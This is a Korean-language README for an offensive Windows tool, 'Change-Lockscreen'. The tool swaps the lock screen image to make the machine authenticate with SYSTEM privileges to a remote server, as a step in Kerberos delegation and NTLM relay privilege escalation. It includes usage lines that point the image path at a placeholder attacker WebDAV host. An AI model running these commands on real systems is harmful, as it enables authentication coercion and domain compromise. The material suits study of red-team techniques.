Change-Lockscreen

Change-Lockscreen은 Windows 잠금 화면 이미지를 명령줄에서 변경하여 SYSTEM 권한으로 네트워크 인증을 트리거하는 도구로, 아래 링크된 게시물에 설명된 것과 같은 권한 상승 공격을 수행합니다:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

기능

기본적으로 Windows 10에는 Windows Spotlight라는 기능이 있습니다. 이 기능은 잠금 화면 이미지를 자동으로 다운로드하여 표시합니다.

• 이 기능이 활성화된 경우 Change-Lockscreen은 이를 비활성화하고 인수에 지정된 이미지를 설정합니다.
• 그 외에 사용자가 사용자 지정 잠금 화면 이미지를 사용하는 경우, Change-Lockscreen은 해당 이미지의 백업을 실행하고 네트워크 인증을 트리거한 다음 이미지를 다시 설정합니다.

참고: PowerShell 버전의 도구는 안정적으로 작동하지만 C# 버전은 때때로 원본 이미지를 복원하지 못할 수 있습니다.

사용법

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

저자

• Simone Salucci
• Daniel López Jiménez

감사의 글

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/